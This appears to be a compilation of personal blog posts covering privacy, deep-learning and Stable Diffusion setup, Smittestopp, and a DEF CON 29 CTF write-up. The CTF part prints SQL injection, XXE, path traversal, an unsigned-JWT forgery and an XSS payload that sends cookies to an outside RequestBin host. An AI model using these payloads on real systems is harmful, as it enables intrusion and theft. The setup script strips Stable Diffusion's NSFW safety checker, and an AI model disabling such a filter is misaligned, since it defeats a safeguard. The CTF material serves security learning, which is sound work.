There's also the fact that, on the level of rights, laws or government, you're effectively gving away the rights of other people (who might need it more than you do in the moment). Let's not forget those less fortunate, even in relatively liberal societies, that are stigmatized, discriminated against, threatened or otherwise live within cultural and personal structures that make up tangible threats to their safety and wellbeing in their day-to-day lives. These people have a real, practical need for privacy to protect themselves, be it because of their ethnicity, religion, sexuality, political affiliation, disability, surrounding cultural confines, or otherwise.

And then there are special cases that need it even more – such as lawyers communicating with clients, reporters meeting sources, etc.

As we consider how we establish and protect the boundaries around the individual, and the ability of the individual to have a say in what happens to him or her, we are equally trying to decide:

the ethics of modern life;

the rules governing the conduct of commerce; and,

the restraints we place upon the power of the state.

– Privacy International

Privacy is what allows us to have anything for ourselves – to keep something to ourselves. This makes us able to experiment with who we are and what we think – and thereby develop our personalities.

When things go wrong

We needn't think for long to come up with historical examples of how undermining of privacy has enabled atrocities and violations of human rights.

The Gestapo (Nazi Germany), KGB (Soviet Union), Stasi (DDR), and the Ministry of State Security and the Ministry of Foreign Affairs (PRC) all spring to mind as ruthless secretive organizations acting on the behalf of authoritarian regimes, systematically undermining the rights of their own populations by actions ranging between indiscriminate surveillance to politically motivated internment, and extermination.

At the same time, many western countries are challenging invididual and international notions of privacy, as they implement variations on mass surveillance (such as bulk collection of metadata) on a national scale, usually framing it as a question of security vs. freedom – upon which Benjamin Franklin famously once opined.

Then there is, of course, the modern digital private sector and the so-called surveillance-capitalism. Private actors, such as Facebook and Google famously have a lot of data on a lot of people. They get some of it from people registering on their platforms, who often have to consent to these companies' use of their personal data in order to use their services. This is why some critics say "if you're not paying for the product, you are the product": A cynical interpretation is that the use (and misuse) of users' personal data is the price they pay to use the products – even though the case is never framed as such for the users.

Additionally, many of these same actors also track their users, as well as anyone else (in some cases), across other sites on the internet, for instance by having other sites embedding their social media platform's "share"-buttons or their analytics-solutions, strategic partnerships (such as getting purchase data from credit card companies), and buying data from so-called data brokers – companies that trade private information and personal data with anyone that wants to buy or sell, e.g. for use in so-called real time bidding, to deliver so-called targeted advertisement.

The obviously problematic cases here include, for instance, the cases of Grindr, OkCupid and Tinder sharing things like location data, sexual orientation, drug history, HIV-status, etc. to to advertising and marketing companies.

##Standing in the way of progress?

Privacy is often presented as an impediment of positive outcomes. Too stringent controls around privacy allegedly leads to worse outcomes in the case of healthcare, research and national security. But this need not be the case. In many cases, we don't even need personal information to solve a given problem – though we may find it nice to have, or want to be able to go one step further. And even in cases where we would seemingly have a technical need for personal information to solve an issue, there are plenty of mechanisms, properties and systems that allow us a certain level of guarantee for privacy protection – such as k-anonymity or differential privacy.

A technical sidenote: Privacy does not equal data protection, nor compliance.

In the case of architecture and solution design, privacy must be weighed against other needs, much like other non-functional requirements (such as security and performance) – with the caveat that evaluating privacy implications means explicitly considering other people's rights and interests up against your wants, and just how you might go about attempting to reach your goal.

And this is some of what privacy by design (a systems engineering approach best practice, as required by the GDPR) entails. Its seven foundational principles are:

Proactive not reactive; preventive not remedial
Privacy as the default setting
Privacy embedded into design
Full functionality – positive-sum, not zero-sum
End-to-end security – full lifecycle protection
Visibility and transparency – keep it open
Respect for user privacy – keep it user-centric

As to how we can achieve this in practice in the case of software development... Maybe privacy engineers have something to learn from the DevSecOps-movement and the security field in this sense, and become enablers rather than nay-sayers – as in answering "Yes, and here's how", rather than "No", when someone asks whether a certain thing can be done. Privacy would then need to be represented at every step in the software development lifecycle.

There is no doubt that we have a need for privacy, i.e. there is a "lower boundary", or a "floor", that defines a minimum amount necessary; We're now trying to define the "upper boundary", or a "ceiling", of what infractions are acceptable and in which cases.

For a little more on privacy engineering, check out this article.

AppSec Village DEF CON 29 CTF Writeup

This past weekend was DEF CON 29 (my second virtual DEF CON, though it was a hybrid event this year). Knowing that most content both from the main tracks as well as the villages would become available on YouTube, I decided to postpone serious talk-watching for later, in favor of interaction with other virtual con-attendees and switching between random talk-streams in the background for the weekend.

Since – unlike last year – I wouldn't be presenting, I thought I'd brush up on some CTF'ing in the AppSec Village's Capture The Flag contest (between rage-tweeting about Apple's upcoming client-side CSAM scanning, and setting up a new home office). Though a bit rusty, I registered alone for a solo-team and managed to get the 9th place (out of 95 contestant teams).

Below is a write up of the challenges I solved.

[TOC]

Application Security Principles

Questions 1 through 10

These were basically free points in the form of two-alternative questions.

Cryptography / Steganography

Kitty Rescue Challenge - Part 1

Challenge

Goal: Answer the following question: Where is my Kitty? Rules: Cheat whenever possible.

The .zip file contained in this part has all the files for the following parts of this challenge.

I downloaded the zip-file, which contained a text-file and another zip-file. The text-file read:

Her name is Gaia and she is 11 years old. The is almost a fully black fur kitty. A little bit of white fur in her neck. No collar or something.
She does has a boyfriend cat called Caesar. That is the cat from the house next to us. She spend a lot of time with him outside, enjoying the sun and catching birds.

Ytnp, rzzo uzm! Mfe ozye piapne te ez mp pldj. Esp alddhzco ty zcopc ez mprty LSLCUSDPERUC%PUCEUPCSCUUPCSUcUEUVEKZCCUPCU

Solution

The mention of Caesar (as well as the look of the text) made me suspect this was a simple substitution cipher. I pasted the text in CyberChef, ran it through ROT13, and experimented with the shift amount. At 15, the output read:

Nice, good job! But dont expect it to be easy. The password in order to begin AHARJHSETGJR%EJRTJERHRJJERHJrJTJKTZORRJERJ

Kitty Rescue Challenge - Part 2

Challenge

Using the password obtained in the previous challenge, I extracted 1-Start.zip. The resulting folder held a README-file, as well as number-prefixed files for the remainder of the "Kitty Rescue"-challenges. 1-Read_Me.txt read:

SO THERE YOU ARE!!!!
Thank you! It is really bad.....
Everyone should look out for her! Idk what happend to her.
Generally I would assume you know where I am talking about... My cat has been missing :(
All you need will be in this file. She is a smart kitty and left a trail so I could find her if anything happend.
Nothing worked. I tries almost everything.
Often she would go to a different garden but never for this long.
Got all the catnip and food but she is just not here to react to it.
Ready to help me out? It would mean a lot to me!
And don't worry, she would not bite. She is a real sweetheart.
PANIC!!!! Just kidding >->
Have fun!
You will definitely learn something!

You will find two pictures of her so you know how she looks!

The file associated with this assignment, 2-Kitty.png looked like this:

Solution

As the category was called "Cryptography / Steganography", I thought there could be some stego going on in this picture. I found an online Least Significant Bit steganography tool and attempted to decode the image. The output read:

[Gaia] Oh No! If you are looking at my picture that means that I am in trouble?! Please continue and go find me. The password is *96*)K3Jz$5*)4(0$%f)5*)4($U0^6*)(J3*3o5*)0

Kitty Rescue Challenge - Part 3

Challenge

I used the password from the previous challenge to extract 3-Kitty.zip. Inside was a file called Kitty.png – but there was no image to see when opening it.

Solution

I opened the image in a hex editor (Hex Fiend is a great one for macOS), and noticed that the 116 first bytes were:

OhNoThisIsNotHowAPNGStarts.PNG        IHDR   .         y-.<    pHYs    ToBeSureIAlsoAddedThisStringToBreakIt      ..

I changed it to how a PNG is supposed to start:

.PNG        IHDR   .         y-.<    pHYs          ..

This made the image visible:

The password is in the bottom of the box, at the bottom of the image: *KK$3Jz$9$LT3%*0$OU0^J3*3o0^$9^JKT3^$9JD%f

Kitty Rescue Challenge - Part 4

Challenge

I opened the file 4-Letter.pdf using last challenge's password.

The document appeard to read:

Hey there!!
Good job you came this far. You should be really proud but I am still lost so please find me. Sometimes things are not as black and white as we think they are. Sometimes we think too complex about a simple solution.
Kind regards, Gaia

After the text there was a lot of blank space.

Solution

Playing around in the document, I held down my mouse button at the beginning of the document's text, dragging all the way to the bottom of the document (the "empty" part) – which revealed that there was some tiny, "invisible" text at the bottom:

I copied the text, and pasting it in a document revealed it read: 39$OUt53oY%0^G39ou395iHuD53uJz3%0z$9$D^9%t

Kitty Rescue Challenge - Part 5

Challenge

I extracted the final file 5-Location.zip, revealing an image Location.png.

There was visible hints in the image, so I tried opening it in a hex editor, as well as extracting information from the least significant bits, but I didn't find anything.

Looking at the image's EXIF-metadata (using ExifTool), I didn't find any other interesting information than GPS-location:

GPS Latitude                    : 59 deg 12' 49.01" N
GPS Longitude                   : 18 deg 23' 9.15" E
GPS Position                    : 59 deg 12' 49.01" N, 18 deg 23' 9.15" E

I looked the place up using Google Earth

This revealed the final password: Brevik, Sweden

Reverse Engineering

Password?

Challenge

My friend is developing a program which has a login functionality. I know it's insecure but he isn't listening. Can you help me prove the point by finding out his password from the program?
Please be sure to encase the flag in ASV{} as it is not included in the flag provided in the challenge! The flag will not work without the encasing!

Solution

I downloaded the associated archive RE-1.zip, and extracted a C#-file index.cs from it, which read:

using System;

namespace ReverseOne
{d
    class Program
    {
        static void Main(string[] args)
        {
            string[] passwd = new string[9];

            // I've left the password scrambled so that I can easily remember it if I forget it
            passwd[0] = "1";
            passwd[9] = "r";
            passwd[5] = "h";
            passwd[1] = "3";
            passwd[2] = "3";
            passwd[4] = "_";
            passwd[6] = "@";
            passwd[3] = '7';
            passwd[8] = "0";
            passwd[7] = "x";

            Console.WriteLine("Enter your username: ");
            string usrName = Console.ReadLine();
            Console.WriteLine("Enter the password for " + usrName) + ": ";
            string password = Console.ReadLine();
            if (password == string.Join("", passwd)) {
                Console.WriteLine("Welcome " + usrName);
            } else {
                Console.WriteLine("Incorrect password");
                Main();
            }
        }
    }
}

Looks pretty easy. I quickly wrote the following JavaScript (because JS would lead to less typing, and manually rewriting/processing stuff after copy-pasting):

let passwd = new Array()
passwd[0] = "1"
passwd[9] = "r"
passwd[5] = "h"
passwd[1] = "3"
passwd[2] = "3"
passwd[4] = "_"
passwd[6] = "@"
passwd[3] = "7"
passwd[8] = "0"
passwd[7] = "x"
console.log(passwd.toString)

The output read:

'1,3,3,7,_,h,@,x,0,r'

Static Code Analysis / Reversal

Regrettably, I didn't find time to attempt to solve these...

Stego & Crypto

Gross!

Challenge

I left the clue outside in the sun too long and forgot about it... and it went bad and turned into this. Pretty sure it's still usable.

|@=5D[ 2?5 @E96C 7F?8: E6?5 E@ 8C@H @? 5:776C6?E EJA6D @7 C@EE:?8 @C82?:4 >2E6C:2=D 2C6 DEF5:65 3J E9:D 8C@FA @7 A6@A=6 42==65 Wu{pvX

Solution

I had no idea what sort of cipher was used on this text, so I used DCODE's Ciper Identifier. It Suggested it was in all likelihood ROT-47.

Decoding the text using ROT-47 revealed the following text:

Molds, and other fungi tend to grow on different types of rotting organic materials are studied by this group of people called (FLAG)

A quick search for "people that study fungi and mold" taught me that they are called MYCOLOGISTS.

Pick It Up

Challenge

Tdy lgfrti hleg sTIWSOESoasfa o hscalnei HSATOAY

Solution

Again, I used DCODE's Ciper Identifier, which suggested to try the Rail Fence (Zig-Zag) Cipher. Decoding the text using that cipher output: Todays·flag·for·this·challenge·is·THISWASTOOEASY.

Saving As

Challenge

Opening this with Notepad looks.. Really weird. It just feels wrong. Can you figure out what in the heck is in this file?

Solution

I downloaded the associated file SavingsAsChallenge.txt. Opening it as a text-file revealed garbled nonsense, so I i viewed it with a hex editor – which revealed the string JFIF (JPEG File Interchange Format, as an internet search will tell you) near the beginning of the file. Renaming the file as SavingsAsChallenge.jpeg showed me an image:

After a few dead ends reverse-image searching, I thought of decoding the barcodes on the tags in the photo.

The one on the right looks different (smudging/white-bleed on the text above it; much sharper than the one to its left) and probably artificially inserted. I adjusted it in an image editing application:

I then analyzed it using the online ZXing Decoder Online tool, which told me its contents was text: e3800f93cfa8b2b6743953b4219082c4. This was not the flag.

Using CyberChef, I analyzed the hash, and concluded it was probably an MD5-hash or something like it.

I then found a free password hash cracker, Crack Station, and entered the hash. It turned out to be an MD4-hash of drinkyourovaltine– which was the solution.

Web

Exposed Panel

Challenge

You found an exposed admin panel on a website where you can search the usernames of the users. Can you escalate this further?

Solution

The associated webside showed a text-field used to search for usernames.

The owner seemed to be named "Agi", so I searched for them:

Searching for a single quote (inserted in the search field for illustration purposes) revealed some helpful warning- and error-output about the prepared SQL-statement used in the PHP-backend – probably something along the lines of SELECT name FROM <table> WHERE name=<input>; I could also see that the database in question was a SQLite-database.

Performing a SQL-injection, I was able to learn the structure of the database by querying for the SQL using the input Agi'+UNION+SELECT+sql+FROM+sqlite_master'.

Based on the result, I used the following query to view the other (unseen) column of all users: Agi' UNION SELECT RECOVERY FROM USERS'

The flag ASV{pHp_t@k3s_PhDs} can be seen in the screenshot above.

Read, Register

Challenge

Can you read the flag at /bin/flag.txt?

Solution

Proxying the query form submission through Burp Suite, I noticed that the request contained an XML payload.

POST /process.php HTTP/1.1
Host: 18.117.181.110
Content-Length: 140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://18.117.181.110
Referer: http://18.117.181.110/
Accept-Encoding: gzip, deflate
Accept-Language: nb-NO,nb;q=0.9,no;q=0.8,nn;q=0.7,en-US;q=0.6,en;q=0.5
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<root>
  <name>E</name><tel>02837432934</tel>
  <email>test@test.test</email>
  <password>lol</password>
</root>

I modified the request to contain an XML external entity (XXE) injection:

POST /process.php HTTP/1.1
Host: 18.117.181.110
Content-Length: 197
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://18.117.181.110
Referer: http://18.117.181.110/
Accept-Encoding: gzip, deflate
Accept-Language: nb-NO,nb;q=0.9,no;q=0.8,nn;q=0.7,en-US;q=0.6,en;q=0.5
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///bin/flag.txt"> ]>
<root>
	<name>E</name>
	<tel>02837432934</tel>
	<email>&xxe;</email>
	<password>lol</password><
/root>

The response now read:

HTTP/1.1 200 OK
Date: Mon, 09 Aug 2021 21:41:18 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/8.0.9
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

Sorry, ASV{XML_1S_0LD_4ND_B4D}
 is already registered!

... containing the flag ASV{XML_1S_0LD_4ND_B4D}.

I Can Read Your Files!

Challenge

During a pentest on this website, you notice something is off. This web app might be using the path to a file as input! Can you figure out what the vulnerability is and exploit it to find the flag?

Solution

The site taunted me.

I noticed that by default, a GET-parameter had been set: the URL ended with ?lang=en.

I checked if the site supported Norwegian by changing it to ?lang=no

It seemed the site took whatever value the lang-parameter had, appended .txt to it, and searched for the resulting filename in ../lang/ (i.e.) the webroot's parent directory.

By changing the parameter yet again – so that the URL was the equivalent of https://<SITE>/?lang=../flag i got the following output:

The output now included the flag (ASV{LFI_FTW_2EZ}).

Authentication Matters

Challenge

I found a page that only the site admins can access. Can you break into it?

Note: There is no need for any bruteforcing to be done. All you need is this page!

Solution

Navigating to the challenge URL gave me an empty page stating Authentication required.

Checking the browser storage, I noticed that a cookie had been set:

It looked very much like a JWT token (confirmed by decoding as Base64 and removing non-alphabetical characters):

Using an online debugger, I inspected the token.

Reading the IETF JWT Memo, i noticed something interesting:

6.  Unsecured JWTs

   To support use cases in which the JWT content is secured by a means
   other than a signature and/or encryption contained within the JWT
   (such as a signature on a data structure containing the JWT), JWTs
   MAY also be created without a signature or encryption.  An Unsecured
   JWT is a JWS using the "alg" Header Parameter value "none" and with
   the empty string for its JWS Signature value, as defined in the JWA
   specification [JWA]; it is an Unsecured JWS with the JWT Claims Set
   as its JWS Payload.

I then modified the token, by removing the signature (the part behind the dot/period – JWT is formatted as <token>.<signature)

Then changing the algorithm-parameter to "none" and removing the payload:

Editing the cookie in the browser and reloading the page now shows us something different.

Scroll down a bit, and see the flag (n0_s1gn@tur3_r3qu1r3d)

Send Me Something Interesting!

Challenge

Man, you gotta send me something interesting here. I check ALL submissions! Almost always online!

~ elliot

Solution

The challenge site is a form that consists of a text-field used to send a URL for the site owner to check out. Inspecting the site's markup reveals this comment:

<!-- Note to sociallyencrypted, I have started working on the API endpoint. Check it out the test endpoint here /api/test -->

Checking out the API (i.e. URL https://<SITE>/api/test) returns the text

Use the parameter 'key' to make it reflect.

Updating the URL to include the "key"-parameter (i.e. URL https://<SITE>/api/test?key=test) now returns the text

test like this! see? i am an API guru!

This sure looks like a reflected Cross Site Scripting (XSS)-opportunity to me, as the API response seems to print out anything put in the key-parameter of a request. This also means that anyone using the API via a browser (i.e. visiting a link pointing there) would have their browser render any markup (HTML) – possibly including dynamic content (JavaScript). Setting the key-parameter to <script>alert(1)</script> pops an alert-dialog in my browser, and confirms my suspicion.

I create a free HTTP Request inspection service at RequestBin, and craft a payload that would steal a visiting user's cookies by making a request to my service with the user's cookies as parameters. The resulting URL (including payload) is

http://3.142.52.170/api/test?key=%3Cscript%3Ewindow.location=%22http://requestbin.net/r/bao6ejkd?cookies=%22+JSON.stringify(document.cookie)%3C/script%3E

Then I submit the URL to the site:

After a few minutes, I check my RequestBin, and see the flag (C0ok13_th31f ) was in the visiting user / site owner's cookies:

Wrap-up

I'd like to thank the volunteers of the AppSec Village for hosting this great CTF, and for a great village.

I had so much fun that, even though I didn't have that much free time this weekend because of other commitments, I ended up staying up all night between saturday and sunday to work more on the challenges.

This definitely got me interested in picking up CTF'ing again, and maybe even look for or start a team (don't hesitate to hit me up if anyone wants to collaborate on this)!

Setting Up a Computer for Deep Learning

Deep learning is all the rage these days, still achieving increasingly better results on various machine learning problems. While the field is evolving rapidly, it is also becoming more and more accessible for experiementation. Anyone can download state of the art models and run them using bleeding edge research software, thanks to most leading implementations being open source and/or available at no cost.

Though very easy solutions for environment setup and computation is made available via cloud providers' GPU instances, as well as preconfigured virtual machines and containers, there's something to be said for running your own rig with capable hardware.

In this post, I'll detail the setup of a computer for deep learning purposes, step by step. It assumes that the reader is somewhat familiar with software relevant to deep learning.

There are many great resources out there, but the two I used the most during my experience of setting up my own machine were Sai Soundararaj's guide and Roelof Pieters' blogpost.

Hardware

I won't delve too much into hardware details, but in order to achive decent performance you'll need a relatively new NVIDIA GPU, as most of the GPU-accelerated software is built upon their CUDA-framework.

You can check out a short summary of information relevant to the choice of components here.

In my own case, I went for this computer, which has the following specs:


Motherboard:	ASUS B150M-PLUS, Socket-1151
CPU:	Intel Core i5-6500 Skylake Processor
RAM:	Kingston ValueRam DDR4 2133MHz 16GB
GPU:	MSI GeForce GTX 1060 6GB OC
Hard drive:	Samsung PM961 SSD 256GB M.2 NVMe 2800/1100MB/s
Extensions:	ASUS PCE-N15 N300 Wireless Adapter
Power supply:	Cooler Master B500 V2 KOMPLETT Edition
Case:	Komplett Carbide SPEC-03 Midi Tower

The the parts that references "Komplett" are just OEM stuff - rebranded versions for the retailer, e.g. differently colored or featuring the retailer logo.

The GTX 1060 GPU isn't top of the line when it comes to processing power - and it doesn't support SLI - but it's an OK starting point, not to mention reasonably priced.

Software

The most natural choice of OS for these sorts of things is Linux. I chose the Ubuntu distribution, as it comes with a lot of practical software out of the box. It is a very popular distro, and it's generally not very difficult to find solutions for any problems that may arise with it online.

Additionally, most relevant machine learning software and packages provide installation instructions for Ubuntu.

If you also choose Ubuntu, you should go for the latest LTS (Long Term Support) version, which is 16.04 at the time of writing.

Drivers

First off, you'll need to add the proprietary GPU drivers PPA.

sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt-get update

Then you'll need to install the latest NVIDIA drivers. This is nvidia-375 at the time of writing, but you can run apt-cache search nvidia and see if any later versions exist.

sudo apt-get install nvidia-375

CUDA and related libraries

You'll also be needing the NVIDIA CUDA Toolkit – which enables GPU-acceleration for non-graphics applications – and a library called cuDNN, which contains deep neural network primitives. The latter will purportedly give a speedup of minimum 44% - some users report over 6x speedups with Torch and Caffe.

For CUDA, go to the CUDA download page and select "Linux", "x86_64", "Ubuntu", "16.04", and "deb(local)", as seen in the image below.

When the download is finished, just open the file (e.g double-click it). This will present an Ubuntu Software window; Click "Install".

Then go to the download location in a terminal, and type the installation instructions from the download page:

sudo dpkg -i cuda-repo-ubuntu1604-8-0-local_8.0.44-1_amd64.deb
sudo apt-get update
sudo apt-get install cuda

You will then need to add CUDA to your path:

echo 'export PATH=/usr/local/cuda/bin:$PATH' >> ~/.bashrc
echo 'export LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH' >> ~/.bashrc
source ~/.bashrc

To get cuDNN, you must register an account with Nvidia. It may take up to a couple of days for your account to be approved.

After you have logged in and downloaded cuDNN, go to the download location in a terminal, and type:

tar xvzf cudnn-8.0-linux-x64-v5.1.tgz
cd cuda
sudo cp -P include/cudnn.h /usr/local/cuda/include
sudo cp -P lib64/libcudnn* /usr/local/cuda/lib64
sudo chmod a+r /usr/local/cuda/include/cudnn.h /usr/local/cuda/lib64/libcudnn*
sudo rm /usr/lib/x86_64-linux-gnu/libcudnn.so.5; sudo ln -s /usr/lib/x86_64-linux-gnu/libcudnn.so.5.1.5 /usr/lib/x86_64-linux-gnu/libcudnn.so.5

Now reboot your machine (sudo shutdown -r now).

BLAS

You can now optionally download and install OpenBLAS, which is an open source implementation of BLAS. It will basically optimize linear algebra operations.

sudo apt-get install git gfortran
mkdir /tmp/git
cd /tmp/git
git clone https://github.com/xianyi/OpenBLAS.git
cd OpenBLAS
make FC=gfortran -j $(($(nproc) + 1))
sudo make PREFIX=/usr/local install
echo 'export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH' >> ~/.bashrc

Anconda

Install the latest version of the Anaconda python 2 distribution, like so:

curl -o ~/Downloads/Anaconda2-4.2.0-Linux-x86_64.sh https://repo.continuum.io/archive/Anaconda2-4.2.0-Linux-x86_64.sh

bash ~/Downloads/Anaconda2-4.2.0-Linux-x86_64.sh

Make sure you answer 'yes' when the installer asks to prepend the Anaconda2 install location to your PATH in its final step. Then run source ~/.bashrc to make anaconda available.

Frameworks

First create a conda environment called learning by typing conda create -n learning python=2.7 in a terminal. Then activate it by typing source activate learning.

You can now install some deep learning frameworks...

TensorFlow

sudo apt-get install python-dev
export TF_BINARY_URL=https://storage.googleapis.com/tensorflow/linux/gpu/tensorflow_gpu-0.12.0rc0-cp27-none-linux_x86_64.whl
pip install --ignore-installed --upgrade $TF_BINARY_URL

Theano

sudo apt-get install libopenblas-dev
conda install numpy scipy mkl nose sphinx pydot-ng
echo 'export CUDA_ROOT=/usr/local/cuda' >> ~/.bashrc
source ~/.bashrc
pip install git+https://github.com/Theano/Theano.git#egg=Theano

cd /tmp
git clone https://github.com/Theano/libgpuarray.git
cd libgpuarray
mkdir Build
cd Build
# you can pass -DCMAKE_INSTALL_PREFIX=/path/to/somewhere to install to an alternate location
sudo apt-get install cmake
cmake .. -DCMAKE_BUILD_TYPE=Release # or Debug if you are investigating a crash
make
sudo make install
cd ..
sudo ldconfig
# Work around a glibc bug
echo -e "\n[nvcc]\nflags=-D_FORCE_INLINES\n" >> ~/.theanorc
python -c "from theano import *"
cat > ~/.theanorc <<- EOM
[global]
floatX = float32
device = gpu0

[nvcc]
fastmath = True
EOM
echo 'Theano-config at ~/.theanorc'

Keras

pip install h5py
pip install keras
python -c "import keras"
echo 'You can specify your Keras backend (tensorflow|theano) in ~/.keras/keras.json after Keras has run at least once.'
echo "By default, TensorFlow is used."

Lasagne

pip install --upgrade https://github.com/Lasagne/Lasagne/archive/master.zip

Extras

conda install matplotlib jupyter pandas scikit-image scikit-learn

Now deactivate the env by typing source deactivate.

You can use this environment as a base for new experiments, and clone it using conda create --name <NAME> --clone learning.

Remote control

I've also set up TeamViewer on my own machine, so that I can get a quick graphical interface remotely.

To start teamviewer at login, find the options menu item and check the relevant box.

If you want to be able to reboot remotely, you can edit the file /etc/lightdm/lightdm.conf.d/50-myconfig.con, and add

[SeatDefaults]
autologin-user=<USERNAME>

to autologin (i.e. skip password-entry) on boot.

Wrapping up

If you're setting up your own machine or environment for deep learning, I hope you've found this post useful.

Regrettably, I haven't implemented support for comments on my site at the time of writing, but if you know of any errors or omissions that would be helpful if included, please feel free to contact me.

I also hope to be blogging a bit more about machine learning experiments going forward, so stay tuned.

Stable Diffusion setup for Apple Silicon-based Macs

If you're one of the few people that have not yet got a local version of Stable Diffusion up and running – and you have a computer with an Apple Silicon based processor – I've got something for you...

The following bash script will set up a local conda-environment ("m1sd"), along with any and all dependencies – including Homebrew and Conda, if they are not already installed on your system.

It'll pause once and ask you to perform the one necessary manual step necessary (the download-portion of which can take a little time) before continuing at your request.

It'll also remove the built-in NSFW-filter (which is a little trigger-happy, IMO), so you won't get rickrolled by the machine learning model.

Run this script in a folder you'd like to set up Stable Diffusion in:

#!/bin/env bash

if ! brew &> /dev/null
then
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
fi

if ! which conda &> /dev/null
then
    brew install conda
fi

git clone -b apple-silicon-mps-support https://github.com/bfirsh/stable-diffusion.git m1-stable-diffusion
m1-stable-diffusion
cd m1-stable-diffusion

brew install Cmake protobuf rust

conda create --name m1sd python==3.10
conda activate m1sd
pip install -r requirements.txt

mkdir -p models/ldm/stable-diffusion-v1/

echo ""
echo "Now you need to do the following:"
echo "    - Set up an account on https://huggingface.co/"
echo "    - Go to https://huggingface.co/CompVis/stable-diffusion-v-1-4-original and agree to the license."
FOLDER=`pwd`/models/ldm/stable-diffusion-v1/
echo "    - Download the file named \"sd-v1-4.ckpt\"; save it to $FOLDER as \"model.ckpt\""
read -p "Press enter to continue"
echo ""

#remove NSFW filter
cp scripts/txt2img.py scripts/txt2img.py.BAK
sed -i ''  's/x_checked_image, has_nsfw_concept = check_safety(x_samples_ddim)/x_checked_image = x_samples_ddim/g' scripts/txt2img.py
awk '/# load safety model/ {suppress=1} /^\s*$/ {suppress=0} !suppress' scripts/txt2img.py > scripts/tmp.py && mv -f scripts/tmp.py scripts/txt2img.py
cd -
cd ..

I'll probably host a proper installation script later; For now, just run the commands above, and you should be up and running in no time!

My reflections on Smittestopp

We – the government appointed expert group – published our final public report last month (informally summarized by me in English here) on the Norwegian COVID-19 app "Smittestopp", ascertaining whether security and privacy is responsibly taken care of.

In a group effort such as this one, there is often compromise – in order to be able to end up with a result everyone involved can justify to themselves, and stand by.

We all agree on the conclusion in our report.

There are, however – in my opinion – certain issues that are not addressed in the final report (and that might be out of scope for the report), that I think are imporant to consider. I will state some of these here, in addition to expanding on issues that appear in the report.

What I write here is my own professional opinion on security- and privacy aspects of the Norwegian COVID-19 contact tracing app, "Smittestopp". I do not (and can not) speak on behalf of any other persons, including any other members of the government appointed expert group. Nothing described herein is covered by NDA or legislation – everything is completely based on public information and what is described in our public report.

Introduction and Context

Comparatively, Norway was fairly early in rolling out an app, and the app itself is arguably one of the most invasive ones on the market – at least in a European context, where there are few (if any) other countries with the same configuration of privacy-impacting factors.

Smittestopp is a closed-source solution; requires registration and de facto identification of users; collects sensor data from multiple sources (both BLE and GPS); and uploads data from all users, all of the time, to a centralized storage – unless users pause collection, but even then "heartbeats" that contain information about BLE and GPS-activations in the app are sent in the background.

The degree to which (if any) there is data minimization in such a solution has been questioned by experts in public debate from the get-go.

Some of the design choices has been defended by involved parties in the media, as a prerequisite for attempting to both contact tracing and generating data for monitoring of public movement and other research and analysis purposes (including datasets for long term use). One might then question the choice of attempting to solve both problems with one application, and what the privacy implications of this might be.

Any privacy engineer (and indeed many others with a modicum of technical or practical understanding) will quickly see that these design choices have practical consequences – and, in my assessment, huge privacy implications.

Location data

What one is interested in when performing contact tracing is "who met whom". The identity of either party, or the location of contact is not relevant to prove contact. You thus don't necessarily need to know who the involved parties are, or where the contact took place.

The argument made for the use of location data in the case of Smittestopp is to attempt to compensate for lack in data quality as a consequence of Bluetooth API limitations at the time: Bluetooth wouldn't work reliably in the backround on iOS, whereas Android might kill apps that continuously used Bluetooth or location services in the background.

On the other hand, GPS has a typical accuracy of 3 - 10 meters under ideal conditions (meaning outdoor usage).

A proper and transparent evaluation of the possibilities available here might then include:

How big of a problem does the current API limitations pose in practice (i.e. "could we get by at all?")
If workarounds are needed, how do we evaluate alternatives (for instance, non-exhaustively):
- Attempting to "live with" the current limitations
- The Singaporean approach (in practice implementing a faux sleep-mode, necessitating keeping the app in foreground, but dimming screen when device is positioned "upside-down")
- Collecting location data, which is Personally Identifiable Information (PII)
How do the privacy implications of the respective alternatives size up against each other and the issue at hand?

Though it has been claimed that this data is "anonymous" in several contexts, this is incorrect. By virtue of being personally identifiable information, location data cannot be anonymous by definition. Location data can in itself reveal a person's identity. There is no such thing as "anonymous location data" on an individual basis. In aggregated datasets, one can have certain quantifiable guarantees about degree of privacy (e.g. via k-anonymity, differential privacy), but this gets complicated very quickly for a variety of reasons, such as temporal correlations or re-identification by combining data sources.

In practice, location data is only a clear functional requirement (of sorts, not necessarily to this degree of accuracy) in the case of monitoring public movement or other research – the second purpose of the app.

Centralized storage

When we talk about centralized storage in the context of contact tracing apps, we usually mean systems that are based on collection that is uploaded to a central server, which holds all data. This is in contrast with decentralized systems, where every user's data is stored on their device – until it is needed. One should also note that most popular decentralized solutions are not distributed, i.e. they still use a central server as a communications channel of some sort (as opposed to purely peer-to-peer communications).

The argument made in favor of data centralization in the case of Smittestopp is that augmentation of user data with data from other users is needed in analysis. It is also a prerequisite for the purpose of looking at movement patterns (to evaluate government actions), or do further unspecified research on aggregated data – which is also a purpose of the same app.

A centralized datastore is in principle a defining factor when dealing with private data. Its very existence makes misuse, function creep, leakage and so on possible in a way that a decentralized solution just plainly doesn't – as you can't lose or abuse data you don't have.

Alternative sources to aggregated data may already exist, such as the data telco's already provide in aggregate form, and which has already been used for the same purposes in Norway. The upside in using this is reusing existing data (not collecting, storing, protecting the same data) and existing control mechanisms that protects security and privacy. The downside is that this data might not be as precise as location data collected directly from devices, as resolution would depend on a host of factors, including cell site density.

The privacy cost of uploading every user's locations and movements, as well as who they have met, and timestamps for all these events is undoubtably much larger than uploading what data is needed when needed, e.g. prompting users to upload their movements (or even just BLE-defined contacts) once a person they have been in contact with is positively diagnosed with COVID-19.
